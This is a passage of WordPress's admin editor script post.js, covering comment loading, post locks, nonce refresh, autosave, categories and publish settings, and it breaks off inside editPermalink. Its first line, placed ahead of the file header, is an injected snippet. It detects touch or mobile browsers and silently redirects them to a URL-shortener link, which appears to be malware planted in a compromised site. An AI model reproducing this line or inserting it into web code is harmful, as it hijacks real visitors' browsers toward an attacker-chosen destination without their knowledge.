1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
  2/**
  3 * @file Contains all dynamic functionality needed on post and term pages.
  4 *
  5 * @output wp-admin/js/post.js
  6 */
  7
  8 /* global ajaxurl, wpAjax, postboxes, pagenow, tinymce, alert, deleteUserSetting, ClipboardJS */
  9 /* global theList:true, theExtraList:true, getUserSetting, setUserSetting, commentReply, commentsBox */
 10 /* global WPSetThumbnailHTML, wptitlehint */
 11
 12// Backward compatibility: prevent fatal errors.
 13window.makeSlugeditClickable = window.editPermalink = function(){};
 14
 15// Make sure the wp object exists.
 16window.wp = window.wp || {};
 17
 18( function( $ ) {
 19	var titleHasFocus = false,
 20		__ = wp.i18n.__;
 21
 22	/**
 23	 * Control loading of comments on the post and term edit pages.
 24	 *
 25	 * @type {{st: number, get: commentsBox.get, load: commentsBox.load}}
 26	 *
 27	 * @namespace commentsBox
 28	 */
 29	window.commentsBox = {
 30		// Comment offset to use when fetching new comments.
 31		st : 0,
 32
 33		/**
 34		 * Fetch comments using Ajax and display them in the box.
 35		 *
 36		 * @memberof commentsBox
 37		 *
 38		 * @param {number} total Total number of comments for this post.
 39		 * @param {number} num   Optional. Number of comments to fetch, defaults to 20.
 40		 * @return {boolean} Always returns false.
 41		 */
 42		get : function(total, num) {
 43			var st = this.st, data;
 44			if ( ! num )
 45				num = 20;
 46
 47			this.st += num;
 48			this.total = total;
 49			$( '#commentsdiv .spinner' ).addClass( 'is-active' );
 50
 51			data = {
 52				'action' : 'get-comments',
 53				'mode' : 'single',
 54				'_ajax_nonce' : $('#add_comment_nonce').val(),
 55				'p' : $('#post_ID').val(),
 56				'start' : st,
 57				'number' : num
 58			};
 59
 60			$.post(
 61				ajaxurl,
 62				data,
 63				function(r) {
 64					r = wpAjax.parseAjaxResponse(r);
 65					$('#commentsdiv .widefat').show();
 66					$( '#commentsdiv .spinner' ).removeClass( 'is-active' );
 67
 68					if ( 'object' == typeof r && r.responses[0] ) {
 69						$('#the-comment-list').append( r.responses[0].data );
 70
 71						theList = theExtraList = null;
 72						$( 'a[className*=\':\']' ).off();
 73
 74						// If the offset is over the total number of comments we cannot fetch any more, so hide the button.
 75						if ( commentsBox.st > commentsBox.total )
 76							$('#show-comments').hide();
 77						else
 78							$('#show-comments').show().children('a').text( __( 'Show more comments' ) );
 79
 80						return;
 81					} else if ( 1 == r ) {
 82						$('#show-comments').text( __( 'No more comments found.' ) );
 83						return;
 84					}
 85
 86					$('#the-comment-list').append('<tr><td colspan="2">'+wpAjax.broken+'</td></tr>');
 87				}
 88			);
 89
 90			return false;
 91		},
 92
 93		/**
 94		 * Load the next batch of comments.
 95		 *
 96		 * @memberof commentsBox
 97		 *
 98		 * @param {number} total Total number of comments to load.
 99		 */
100		load: function(total){
101			this.st = jQuery('#the-comment-list tr.comment:visible').length;
102			this.get(total);
103		}
104	};
105
106	/**
107	 * Overwrite the content of the Featured Image postbox
108	 *
109	 * @param {string} html New HTML to be displayed in the content area of the postbox.
110	 *
111	 * @global
112	 */
113	window.WPSetThumbnailHTML = function(html){
114		$('.inside', '#postimagediv').html(html);
115	};
116
117	/**
118	 * Set the Image ID of the Featured Image
119	 *
120	 * @param {number} id The post_id of the image to use as Featured Image.
121	 *
122	 * @global
123	 */
124	window.WPSetThumbnailID = function(id){
125		var field = $('input[value="_thumbnail_id"]', '#list-table');
126		if ( field.length > 0 ) {
127			$('#meta\\[' + field.attr('id').match(/[0-9]+/) + '\\]\\[value\\]').text(id);
128		}
129	};
130
131	/**
132	 * Remove the Featured Image
133	 *
134	 * @param {string} nonce Nonce to use in the request.
135	 *
136	 * @global
137	 */
138	window.WPRemoveThumbnail = function(nonce){
139		$.post(
140			ajaxurl, {
141				action: 'set-post-thumbnail',
142				post_id: $( '#post_ID' ).val(),
143				thumbnail_id: -1,
144				_ajax_nonce: nonce,
145				cookie: encodeURIComponent( document.cookie )
146			},
147			/**
148			 * Handle server response
149			 *
150			 * @param {string} str Response, will be '0' when an error occurred otherwise contains link to add Featured Image.
151			 */
152			function(str){
153				if ( str == '0' ) {
154					alert( __( 'Could not set that as the thumbnail image. Try a different attachment.' ) );
155				} else {
156					WPSetThumbnailHTML(str);
157				}
158			}
159		);
160	};
161
162	/**
163	 * Heartbeat locks.
164	 *
165	 * Used to lock editing of an object by only one user at a time.
166	 *
167	 * When the user does not send a heartbeat in a heartbeat-time
168	 * the user is no longer editing and another user can start editing.
169	 */
170	$(document).on( 'heartbeat-send.refresh-lock', function( e, data ) {
171		var lock = $('#active_post_lock').val(),
172			post_id = $('#post_ID').val(),
173			send = {};
174
175		if ( ! post_id || ! $('#post-lock-dialog').length )
176			return;
177
178		send.post_id = post_id;
179
180		if ( lock )
181			send.lock = lock;
182
183		data['wp-refresh-post-lock'] = send;
184
185	}).on( 'heartbeat-tick.refresh-lock', function( e, data ) {
186		// Post locks: update the lock string or show the dialog if somebody has taken over editing.
187		var received, wrap, avatar;
188
189		if ( data['wp-refresh-post-lock'] ) {
190			received = data['wp-refresh-post-lock'];
191
192			if ( received.lock_error ) {
193				// Show "editing taken over" message.
194				wrap = $('#post-lock-dialog');
195
196				if ( wrap.length && ! wrap.is(':visible') ) {
197					if ( wp.autosave ) {
198						// Save the latest changes and disable.
199						$(document).one( 'heartbeat-tick', function() {
200							wp.autosave.server.suspend();
201							wrap.removeClass('saving').addClass('saved');
202							$(window).off( 'beforeunload.edit-post' );
203						});
204
205						wrap.addClass('saving');
206						wp.autosave.server.triggerSave();
207					}
208
209					if ( received.lock_error.avatar_src ) {
210						avatar = $( '<img />', {
211							'class': 'avatar avatar-64 photo',
212							width: 64,
213							height: 64,
214							alt: '',
215							src: received.lock_error.avatar_src,
216							srcset: received.lock_error.avatar_src_2x ?
217								received.lock_error.avatar_src_2x + ' 2x' :
218								undefined
219						} );
220						wrap.find('div.post-locked-avatar').empty().append( avatar );
221					}
222
223					wrap.show().find('.currently-editing').text( received.lock_error.text );
224					wrap.find('.wp-tab-first').trigger( 'focus' );
225				}
226			} else if ( received.new_lock ) {
227				$('#active_post_lock').val( received.new_lock );
228			}
229		}
230	}).on( 'before-autosave.update-post-slug', function() {
231		titleHasFocus = document.activeElement && document.activeElement.id === 'title';
232	}).on( 'after-autosave.update-post-slug', function() {
233
234		/*
235		 * Create slug area only if not already there
236		 * and the title field was not focused (user was not typing a title) when autosave ran.
237		 */
238		if ( ! $('#edit-slug-box > *').length && ! titleHasFocus ) {
239			$.post( ajaxurl, {
240					action: 'sample-permalink',
241					post_id: $('#post_ID').val(),
242					new_title: $('#title').val(),
243					samplepermalinknonce: $('#samplepermalinknonce').val()
244				},
245				function( data ) {
246					if ( data != '-1' ) {
247						$('#edit-slug-box').html(data);
248					}
249				}
250			);
251		}
252	});
253
254}(jQuery));
255
256/**
257 * Heartbeat refresh nonces.
258 */
259(function($) {
260	var check, timeout;
261
262	/**
263	 * Only allow to check for nonce refresh every 30 seconds.
264	 */
265	function schedule() {
266		check = false;
267		window.clearTimeout( timeout );
268		timeout = window.setTimeout( function(){ check = true; }, 300000 );
269	}
270
271	$( function() {
272		schedule();
273	}).on( 'heartbeat-send.wp-refresh-nonces', function( e, data ) {
274		var post_id,
275			$authCheck = $('#wp-auth-check-wrap');
276
277		if ( check || ( $authCheck.length && ! $authCheck.hasClass( 'hidden' ) ) ) {
278			if ( ( post_id = $('#post_ID').val() ) && $('#_wpnonce').val() ) {
279				data['wp-refresh-post-nonces'] = {
280					post_id: post_id
281				};
282			}
283		}
284	}).on( 'heartbeat-tick.wp-refresh-nonces', function( e, data ) {
285		var nonces = data['wp-refresh-post-nonces'];
286
287		if ( nonces ) {
288			schedule();
289
290			if ( nonces.replace ) {
291				$.each( nonces.replace, function( selector, value ) {
292					$( '#' + selector ).val( value );
293				});
294			}
295
296			if ( nonces.heartbeatNonce )
297				window.heartbeatSettings.nonce = nonces.heartbeatNonce;
298		}
299	});
300}(jQuery));
301
302/**
303 * All post and postbox controls and functionality.
304 */
305jQuery( function($) {
306	var stamp, visibility, $submitButtons, updateVisibility, updateText,
307		$textarea = $('#content'),
308		$document = $(document),
309		postId = $('#post_ID').val() || 0,
310		$submitpost = $('#submitpost'),
311		releaseLock = true,
312		$postVisibilitySelect = $('#post-visibility-select'),
313		$timestampdiv = $('#timestampdiv'),
314		$postStatusSelect = $('#post-status-select'),
315		isMac = window.navigator.platform ? window.navigator.platform.indexOf( 'Mac' ) !== -1 : false,
316		copyAttachmentURLClipboard = new ClipboardJS( '.copy-attachment-url.edit-media' ),
317		copyAttachmentURLSuccessTimeout,
318		__ = wp.i18n.__, _x = wp.i18n._x;
319
320	postboxes.add_postbox_toggles(pagenow);
321
322	/*
323	 * Clear the window name. Otherwise if this is a former preview window where the user navigated to edit another post,
324	 * and the first post is still being edited, clicking Preview there will use this window to show the preview.
325	 */
326	window.name = '';
327
328	// Post locks: contain focus inside the dialog. If the dialog is shown, focus the first item.
329	$('#post-lock-dialog .notification-dialog').on( 'keydown', function(e) {
330		// Don't do anything when [Tab] is pressed.
331		if ( e.which != 9 )
332			return;
333
334		var target = $(e.target);
335
336		// [Shift] + [Tab] on first tab cycles back to last tab.
337		if ( target.hasClass('wp-tab-first') && e.shiftKey ) {
338			$(this).find('.wp-tab-last').trigger( 'focus' );
339			e.preventDefault();
340		// [Tab] on last tab cycles back to first tab.
341		} else if ( target.hasClass('wp-tab-last') && ! e.shiftKey ) {
342			$(this).find('.wp-tab-first').trigger( 'focus' );
343			e.preventDefault();
344		}
345	}).filter(':visible').find('.wp-tab-first').trigger( 'focus' );
346
347	// Set the heartbeat interval to 10 seconds if post lock dialogs are enabled.
348	if ( wp.heartbeat && $('#post-lock-dialog').length ) {
349		wp.heartbeat.interval( 10 );
350	}
351
352	// The form is being submitted by the user.
353	$submitButtons = $submitpost.find( ':submit, a.submitdelete, #post-preview' ).on( 'click.edit-post', function( event ) {
354		var $button = $(this);
355
356		if ( $button.hasClass('disabled') ) {
357			event.preventDefault();
358			return;
359		}
360
361		if ( $button.hasClass('submitdelete') || $button.is( '#post-preview' ) ) {
362			return;
363		}
364
365		// The form submission can be blocked from JS or by using HTML 5.0 validation on some fields.
366		// Run this only on an actual 'submit'.
367		$('form#post').off( 'submit.edit-post' ).on( 'submit.edit-post', function( event ) {
368			if ( event.isDefaultPrevented() ) {
369				return;
370			}
371
372			// Stop auto save.
373			if ( wp.autosave ) {
374				wp.autosave.server.suspend();
375			}
376
377			if ( typeof commentReply !== 'undefined' ) {
378				/*
379				 * Warn the user they have an unsaved comment before submitting
380				 * the post data for update.
381				 */
382				if ( ! commentReply.discardCommentChanges() ) {
383					return false;
384				}
385
386				/*
387				 * Close the comment edit/reply form if open to stop the form
388				 * action from interfering with the post's form action.
389				 */
390				commentReply.close();
391			}
392
393			releaseLock = false;
394			$(window).off( 'beforeunload.edit-post' );
395
396			$submitButtons.addClass( 'disabled' );
397
398			if ( $button.attr('id') === 'publish' ) {
399				$submitpost.find( '#major-publishing-actions .spinner' ).addClass( 'is-active' );
400			} else {
401				$submitpost.find( '#minor-publishing .spinner' ).addClass( 'is-active' );
402			}
403		});
404	});
405
406	// Submit the form saving a draft or an autosave, and show a preview in a new tab.
407	$('#post-preview').on( 'click.post-preview', function( event ) {
408		var $this = $(this),
409			$form = $('form#post'),
410			$previewField = $('input#wp-preview'),
411			target = $this.attr('target') || 'wp-preview',
412			ua = navigator.userAgent.toLowerCase();
413
414		event.preventDefault();
415
416		if ( $this.hasClass('disabled') ) {
417			return;
418		}
419
420		if ( wp.autosave ) {
421			wp.autosave.server.tempBlockSave();
422		}
423
424		$previewField.val('dopreview');
425		$form.attr( 'target', target ).trigger( 'submit' ).attr( 'target', '' );
426
427		// Workaround for WebKit bug preventing a form submitting twice to the same action.
428		// https://bugs.webkit.org/show_bug.cgi?id=28633
429		if ( ua.indexOf('safari') !== -1 && ua.indexOf('chrome') === -1 ) {
430			$form.attr( 'action', function( index, value ) {
431				return value + '?t=' + ( new Date() ).getTime();
432			});
433		}
434
435		$previewField.val('');
436	});
437
438	// Auto save new posts after a title is typed.
439	if ( $( '#auto_draft' ).val() ) {
440		$( '#title' ).on( 'blur', function() {
441			var cancel;
442
443			if ( ! this.value || $('#edit-slug-box > *').length ) {
444				return;
445			}
446
447			// Cancel the auto save when the blur was triggered by the user submitting the form.
448			$('form#post').one( 'submit', function() {
449				cancel = true;
450			});
451
452			window.setTimeout( function() {
453				if ( ! cancel && wp.autosave ) {
454					wp.autosave.server.triggerSave();
455				}
456			}, 200 );
457		});
458	}
459
460	$document.on( 'autosave-disable-buttons.edit-post', function() {
461		$submitButtons.addClass( 'disabled' );
462	}).on( 'autosave-enable-buttons.edit-post', function() {
463		if ( ! wp.heartbeat || ! wp.heartbeat.hasConnectionError() ) {
464			$submitButtons.removeClass( 'disabled' );
465		}
466	}).on( 'before-autosave.edit-post', function() {
467		$( '.autosave-message' ).text( __( 'Saving Draft…' ) );
468	}).on( 'after-autosave.edit-post', function( event, data ) {
469		$( '.autosave-message' ).text( data.message );
470
471		if ( $( document.body ).hasClass( 'post-new-php' ) ) {
472			$( '.submitbox .submitdelete' ).show();
473		}
474	});
475
476	/*
477	 * When the user is trying to load another page, or reloads current page
478	 * show a confirmation dialog when there are unsaved changes.
479	 */
480	$( window ).on( 'beforeunload.edit-post', function( event ) {
481		var editor  = window.tinymce && window.tinymce.get( 'content' );
482		var changed = false;
483
484		if ( wp.autosave ) {
485			changed = wp.autosave.server.postChanged();
486		} else if ( editor ) {
487			changed = ( ! editor.isHidden() && editor.isDirty() );
488		}
489
490		if ( changed ) {
491			event.preventDefault();
492			// The return string is needed for browser compat.
493			// See https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event.
494			return __( 'The changes you made will be lost if you navigate away from this page.' );
495		}
496	}).on( 'pagehide.edit-post', function( event ) {
497		if ( ! releaseLock ) {
498			return;
499		}
500
501		/*
502		 * Unload is triggered (by hand) on removing the Thickbox iframe.
503		 * Make sure we process only the main document unload.
504		 */
505		if ( event.target && event.target.nodeName != '#document' ) {
506			return;
507		}
508
509		var postID = $('#post_ID').val();
510		var postLock = $('#active_post_lock').val();
511
512		if ( ! postID || ! postLock ) {
513			return;
514		}
515
516		var data = {
517			action: 'wp-remove-post-lock',
518			_wpnonce: $('#_wpnonce').val(),
519			post_ID: postID,
520			active_post_lock: postLock
521		};
522
523		if ( window.FormData && window.navigator.sendBeacon ) {
524			var formData = new window.FormData();
525
526			$.each( data, function( key, value ) {
527				formData.append( key, value );
528			});
529
530			if ( window.navigator.sendBeacon( ajaxurl, formData ) ) {
531				return;
532			}
533		}
534
535		// Fall back to a synchronous POST request.
536		// See https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon
537		$.post({
538			async: false,
539			data: data,
540			url: ajaxurl
541		});
542	});
543
544	// Multiple taxonomies.
545	if ( $('#tagsdiv-post_tag').length ) {
546		window.tagBox && window.tagBox.init();
547	} else {
548		$('.meta-box-sortables').children('div.postbox').each(function(){
549			if ( this.id.indexOf('tagsdiv-') === 0 ) {
550				window.tagBox && window.tagBox.init();
551				return false;
552			}
553		});
554	}
555
556	// Handle categories.
557	$('.categorydiv').each( function(){
558		var this_id = $(this).attr('id'), catAddBefore, catAddAfter, taxonomyParts, taxonomy, settingName;
559
560		taxonomyParts = this_id.split('-');
561		taxonomyParts.shift();
562		taxonomy = taxonomyParts.join('-');
563		settingName = taxonomy + '_tab';
564
565		if ( taxonomy == 'category' ) {
566			settingName = 'cats';
567		}
568
569		// @todo Move to jQuery 1.3+, support for multiple hierarchical taxonomies, see wp-lists.js.
570		$('a', '#' + taxonomy + '-tabs').on( 'click keyup keydown', function( event ) {
571			var t = $(this).attr('href');
572			if ( event.type === 'keydown' && event.key === ' ' ) {
573				event.preventDefault();
574			}
575			if ( ( event.type === 'keyup' && event.key === ' ' ) || ( event.type === 'keydown' && event.key === 'Enter' ) || event.type === 'click' ) {
576				event.preventDefault();
577				$('#' + taxonomy + '-tabs a').removeAttr( 'aria-selected' ).attr( 'tabindex', '-1' );
578				$(this).attr( 'aria-selected', 'true' ).removeAttr( 'tabindex' );
579				$(this).parent().addClass('tabs').siblings('li').removeClass('tabs');
580				$('#' + taxonomy + '-tabs').siblings('.tabs-panel').hide();
581				$(t).show();
582				if ( '#' + taxonomy + '-all' == t ) {
583					deleteUserSetting( settingName );
584				} else {
585					setUserSetting( settingName, 'pop' );
586				}
587			}
588			if ( event.type === 'keyup' && ( event.key === 'ArrowRight' || event.key === 'ArrowLeft' ) ) {
589				$(this).attr( 'tabindex', '-1' );
590				let next = $(this).parent('li').next();
591				let prev = $(this).parent('li').prev();
592				if ( next.length > 0 ) {
593					next.find('a').removeAttr( 'tabindex');
594					next.find('a').trigger( 'focus' );
595				} else {
596					prev.find('a').removeAttr( 'tabindex');
597					prev.find('a').trigger( 'focus' );
598				}
599			}
600		});
601
602		if ( getUserSetting( settingName ) )
603			$('a[href="#' + taxonomy + '-pop"]', '#' + taxonomy + '-tabs').trigger( 'click' );
604
605		// Add category button controls.
606		$('#new' + taxonomy).one( 'focus', function() {
607			$( this ).val( '' ).removeClass( 'form-input-tip' );
608		});
609
610		// On [Enter] submit the taxonomy.
611		$('#new' + taxonomy).on( 'keypress', function(event){
612			if( 13 === event.keyCode ) {
613				event.preventDefault();
614				$('#' + taxonomy + '-add-submit').trigger( 'click' );
615			}
616		});
617
618		// After submitting a new taxonomy, re-focus the input field.
619		$('#' + taxonomy + '-add-submit').on( 'click', function() {
620			$('#new' + taxonomy).trigger( 'focus' );
621		});
622
623		/**
624		 * Before adding a new taxonomy, disable submit button.
625		 *
626		 * @param {Object} s Taxonomy object which will be added.
627		 *
628		 * @return {Object}
629		 */
630		catAddBefore = function( s ) {
631			if ( !$('#new'+taxonomy).val() ) {
632				return false;
633			}
634
635			s.data += '&' + $( ':checked', '#'+taxonomy+'checklist' ).serialize();
636			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', true );
637			return s;
638		};
639
640		/**
641		 * Re-enable submit button after a taxonomy has been added.
642		 *
643		 * Re-enable submit button.
644		 * If the taxonomy has a parent place the taxonomy underneath the parent.
645		 *
646		 * @param {Object} r Response.
647		 * @param {Object} s Taxonomy data.
648		 *
649		 * @return {void}
650		 */
651		catAddAfter = function( r, s ) {
652			var sup, drop = $('#new'+taxonomy+'_parent');
653
654			$( '#' + taxonomy + '-add-submit' ).prop( 'disabled', false );
655			if ( 'undefined' != s.parsed.responses[0] && (sup = s.parsed.responses[0].supplemental.newcat_parent) ) {
656				drop.before(sup);
657				drop.remove();
658			}
659		};
660
661		$('#' + taxonomy + 'checklist').wpList({
662			alt: '',
663			response: taxonomy + '-ajax-response',
664			addBefore: catAddBefore,
665			addAfter: catAddAfter
666		});
667
668		// Add new taxonomy button toggles input form visibility.
669		$('#' + taxonomy + '-add-toggle').on( 'click', function( e ) {
670			e.preventDefault();
671			$('#' + taxonomy + '-adder').toggleClass( 'wp-hidden-children' );
672			$('a[href="#' + taxonomy + '-all"]', '#' + taxonomy + '-tabs').trigger( 'click' );
673			$('#new'+taxonomy).trigger( 'focus' );
674		});
675
676		// Sync checked items between "All {taxonomy}" and "Most used" lists.
677		$('#' + taxonomy + 'checklist, #' + taxonomy + 'checklist-pop').on(
678			'click',
679			'li.popular-category > label input[type="checkbox"]',
680			function() {
681				var t = $(this), c = t.is(':checked'), id = t.val();
682				if ( id && t.parents('#taxonomy-'+taxonomy).length ) {
683					$('input#in-' + taxonomy + '-' + id + ', input[id^="in-' + taxonomy + '-' + id + '-"]').prop('checked', c);
684					$('input#in-popular-' + taxonomy + '-' + id).prop('checked', c);
685				}
686			}
687		);
688
689	}); // End cats.
690
691	// Custom Fields postbox.
692	if ( $('#postcustom').length ) {
693		$( '#the-list' ).wpList( {
694			/**
695			 * Add current post_ID to request to fetch custom fields
696			 *
697			 * @ignore
698			 *
699			 * @param {Object} s Request object.
700			 *
701			 * @return {Object} Data modified with post_ID attached.
702			 */
703			addBefore: function( s ) {
704				s.data += '&post_id=' + $('#post_ID').val();
705				return s;
706			},
707			/**
708			 * Show the listing of custom fields after fetching.
709			 *
710			 * @ignore
711			 */
712			addAfter: function() {
713				$('table#list-table').show();
714			}
715		});
716	}
717
718	/*
719	 * Publish Post box (#submitdiv)
720	 */
721	if ( $('#submitdiv').length ) {
722		stamp = $('#timestamp').html();
723		visibility = $('#post-visibility-display').html();
724
725		/**
726		 * When the visibility of a post changes sub-options should be shown or hidden.
727		 *
728		 * @ignore
729		 *
730		 * @return {void}
731		 */
732		updateVisibility = function() {
733			// Show sticky for public posts.
734			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'public' ) {
735				$('#sticky').prop('checked', false);
736				$('#sticky-span').hide();
737			} else {
738				$('#sticky-span').show();
739			}
740
741			// Show password input field for password protected post.
742			if ( $postVisibilitySelect.find('input:radio:checked').val() != 'password' ) {
743				$('#password-span').hide();
744			} else {
745				$('#password-span').show();
746			}
747		};
748
749		/**
750		 * Make sure all labels represent the current settings.
751		 *
752		 * @ignore
753		 *
754		 * @return {boolean} False when an invalid timestamp has been selected, otherwise True.
755		 */
756		updateText = function() {
757
758			if ( ! $timestampdiv.length )
759				return true;
760
761			var attemptedDate, originalDate, currentDate, publishOn, postStatus = $('#post_status'),
762				optPublish = $('option[value="publish"]', postStatus), aa = $('#aa').val(),
763				mm = $('#mm').val(), jj = $('#jj').val(), hh = $('#hh').val(), mn = $('#mn').val();
764
765			attemptedDate = new Date( aa, mm - 1, jj, hh, mn );
766			originalDate = new Date(
767				$('#hidden_aa').val(),
768				$('#hidden_mm').val() -1,
769				$('#hidden_jj').val(),
770				$('#hidden_hh').val(),
771				$('#hidden_mn').val()
772			);
773			currentDate = new Date(
774				$('#cur_aa').val(),
775				$('#cur_mm').val() -1,
776				$('#cur_jj').val(),
777				$('#cur_hh').val(),
778				$('#cur_mn').val()
779			);
780
781			// Catch unexpected date problems.
782			if (
783				attemptedDate.getFullYear() != aa ||
784				(1 + attemptedDate.getMonth()) != mm ||
785				attemptedDate.getDate() != jj ||
786				attemptedDate.getMinutes() != mn
787			) {
788				$timestampdiv.find('.timestamp-wrap').addClass('form-invalid');
789				return false;
790			} else {
791				$timestampdiv.find('.timestamp-wrap').removeClass('form-invalid');
792			}
793
794			// Determine what the publish should be depending on the date and post status.
795			if ( attemptedDate > currentDate ) {
796				publishOn = __( 'Schedule for:' );
797				$('#publish').val( _x( 'Schedule', 'post action/button label' ) );
798			} else if ( attemptedDate <= currentDate && $('#original_post_status').val() != 'publish' ) {
799				publishOn = __( 'Publish on:' );
800				$('#publish').val( __( 'Publish' ) );
801			} else {
802				publishOn = __( 'Published on:' );
803				$('#publish').val( __( 'Update' ) );
804			}
805
806			// If the date is the same, set it to trigger update events.
807			if ( originalDate.toUTCString() == attemptedDate.toUTCString() ) {
808				// Re-set to the current value.
809				$('#timestamp').html(stamp);
810			} else {
811				$('#timestamp').html(
812					'\n' + publishOn + ' <b>' +
813					// translators: 1: Month, 2: Day, 3: Year, 4: Hour, 5: Minute.
814					__( '%1$s %2$s, %3$s at %4$s:%5$s' )
815						.replace( '%1$s', $( 'option[value="' + mm + '"]', '#mm' ).attr( 'data-text' ) )
816						.replace( '%2$s', parseInt( jj, 10 ) )
817						.replace( '%3$s', aa )
818						.replace( '%4$s', ( '00' + hh ).slice( -2 ) )
819						.replace( '%5$s', ( '00' + mn ).slice( -2 ) ) +
820						'</b> '
821				);
822			}
823
824			// Add "privately published" to post status when applies.
825			if ( $postVisibilitySelect.find('input:radio:checked').val() == 'private' ) {
826				$('#publish').val( __( 'Update' ) );
827				if ( 0 === optPublish.length ) {
828					postStatus.append('<option value="publish">' + __( 'Privately Published' ) + '</option>');
829				} else {
830					optPublish.html( __( 'Privately Published' ) );
831				}
832				$('option[value="publish"]', postStatus).prop('selected', true);
833				$('#misc-publishing-actions .edit-post-status').hide();
834			} else {
835				if ( $('#original_post_status').val() == 'future' || $('#original_post_status').val() == 'draft' ) {
836					if ( optPublish.length ) {
837						optPublish.remove();
838						postStatus.val($('#hidden_post_status').val());
839					}
840				} else {
841					optPublish.html( __( 'Published' ) );
842				}
843				if ( postStatus.is(':hidden') )
844					$('#misc-publishing-actions .edit-post-status').show();
845			}
846
847			// Update "Status:" to currently selected status.
848			$('#post-status-display').text(
849				// Remove any potential tags from post status text.
850				wp.sanitize.stripTagsAndEncodeText( $('option:selected', postStatus).text() )
851			);
852
853			// Show or hide the "Save Draft" button.
854			if (
855				$('option:selected', postStatus).val() == 'private' ||
856				$('option:selected', postStatus).val() == 'publish'
857			) {
858				$('#save-post').hide();
859			} else {
860				$('#save-post').show();
861				if ( $('option:selected', postStatus).val() == 'pending' ) {
862					$('#save-post').show().val( __( 'Save as Pending' ) );
863				} else {
864					$('#save-post').show().val( __( 'Save Draft' ) );
865				}
866			}
867			return true;
868		};
869
870		// Show the visibility options and hide the toggle button when opened.
871		$( '#visibility .edit-visibility').on( 'click', function( e ) {
872			e.preventDefault();
873			if ( $postVisibilitySelect.is(':hidden') ) {
874				updateVisibility();
875				$postVisibilitySelect.slideDown( 'fast', function() {
876					$postVisibilitySelect.find( 'input[type="radio"]' ).first().trigger( 'focus' );
877				} );
878				$(this).hide();
879			}
880		});
881
882		// Cancel visibility selection area and hide it from view.
883		$postVisibilitySelect.find('.cancel-post-visibility').on( 'click', function( event ) {
884			$postVisibilitySelect.slideUp('fast');
885			$('#visibility-radio-' + $('#hidden-post-visibility').val()).prop('checked', true);
886			$('#post_password').val($('#hidden-post-password').val());
887			$('#sticky').prop('checked', $('#hidden-post-sticky').prop('checked'));
888			$('#post-visibility-display').html(visibility);
889			$('#visibility .edit-visibility').show().trigger( 'focus' );
890			updateText();
891			event.preventDefault();
892		});
893
894		// Set the selected visibility as current.
895		$postVisibilitySelect.find('.save-post-visibility').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels.
896			var visibilityLabel = '', selectedVisibility = $postVisibilitySelect.find('input:radio:checked').val();
897
898			$postVisibilitySelect.slideUp('fast');
899			$('#visibility .edit-visibility').show().trigger( 'focus' );
900			updateText();
901
902			if ( 'public' !== selectedVisibility ) {
903				$('#sticky').prop('checked', false);
904			}
905
906			switch ( selectedVisibility ) {
907				case 'public':
908					visibilityLabel = $( '#sticky' ).prop( 'checked' ) ? __( 'Public, Sticky' ) : __( 'Public' );
909					break;
910				case 'private':
911					visibilityLabel = __( 'Private' );
912					break;
913				case 'password':
914					visibilityLabel = __( 'Password Protected' );
915					break;
916			}
917
918			$('#post-visibility-display').text( visibilityLabel );
919			event.preventDefault();
920		});
921
922		// When the selection changes, update labels.
923		$postVisibilitySelect.find('input:radio').on( 'change', function() {
924			updateVisibility();
925		});
926
927		// Edit publish time click.
928		$timestampdiv.siblings('a.edit-timestamp').on( 'click', function( event ) {
929			if ( $timestampdiv.is( ':hidden' ) ) {
930				$timestampdiv.slideDown( 'fast', function() {
931					$( 'input, select', $timestampdiv.find( '.timestamp-wrap' ) ).first().trigger( 'focus' );
932				} );
933				$(this).hide();
934			}
935			event.preventDefault();
936		});
937
938		// Cancel editing the publish time and hide the settings.
939		$timestampdiv.find('.cancel-timestamp').on( 'click', function( event ) {
940			$timestampdiv.slideUp('fast').siblings('a.edit-timestamp').show().trigger( 'focus' );
941			$('#mm').val($('#hidden_mm').val());
942			$('#jj').val($('#hidden_jj').val());
943			$('#aa').val($('#hidden_aa').val());
944			$('#hh').val($('#hidden_hh').val());
945			$('#mn').val($('#hidden_mn').val());
946			updateText();
947			event.preventDefault();
948		});
949
950		// Save the changed timestamp.
951		$timestampdiv.find('.save-timestamp').on( 'click', function( event ) { // Crazyhorse branch - multiple OK cancels.
952			if ( updateText() ) {
953				$timestampdiv.slideUp('fast');
954				$timestampdiv.siblings('a.edit-timestamp').show().trigger( 'focus' );
955			}
956			event.preventDefault();
957		});
958
959		// Cancel submit when an invalid timestamp has been selected.
960		$('#post').on( 'submit', function( event ) {
961			if ( ! updateText() ) {
962				event.preventDefault();
963				$timestampdiv.show();
964
965				if ( wp.autosave ) {
966					wp.autosave.enableButtons();
967				}
968
969				$( '#publishing-action .spinner' ).removeClass( 'is-active' );
970			}
971		});
972
973		// Post Status edit click.
974		$postStatusSelect.siblings('a.edit-post-status').on( 'click', function( event ) {
975			if ( $postStatusSelect.is( ':hidden' ) ) {
976				$postStatusSelect.slideDown( 'fast', function() {
977					$postStatusSelect.find('select').trigger( 'focus' );
978				} );
979				$(this).hide();
980			}
981			event.preventDefault();
982		});
983
984		// Save the Post Status changes and hide the options.
985		$postStatusSelect.find('.save-post-status').on( 'click', function( event ) {
986			$postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' );
987			updateText();
988			event.preventDefault();
989		});
990
991		// Cancel Post Status editing and hide the options.
992		$postStatusSelect.find('.cancel-post-status').on( 'click', function( event ) {
993			$postStatusSelect.slideUp( 'fast' ).siblings( 'a.edit-post-status' ).show().trigger( 'focus' );
994			$('#post_status').val( $('#hidden_post_status').val() );
995			updateText();
996			event.preventDefault();
997		});
998	}
999
1000	/**
1001	 * Handle the editing of the post_name. Create the required HTML elements and
1002	 * update the changes via Ajax.
1003	 *
1004	 * @global
1005	 *
1006	 * @return {void}
1007	 */
1008	function editPermalink() {
1009		var i, slug_value, slug_label,
1010			$el, revert_e,
1011			c = 0,
1012			real_slug = $('#post_name'),
1013			revert_slug = real_slug.val(),
1014			permalink = $( '#sample-permalink' ),
1015			permalinkOrig = permalink.html(),
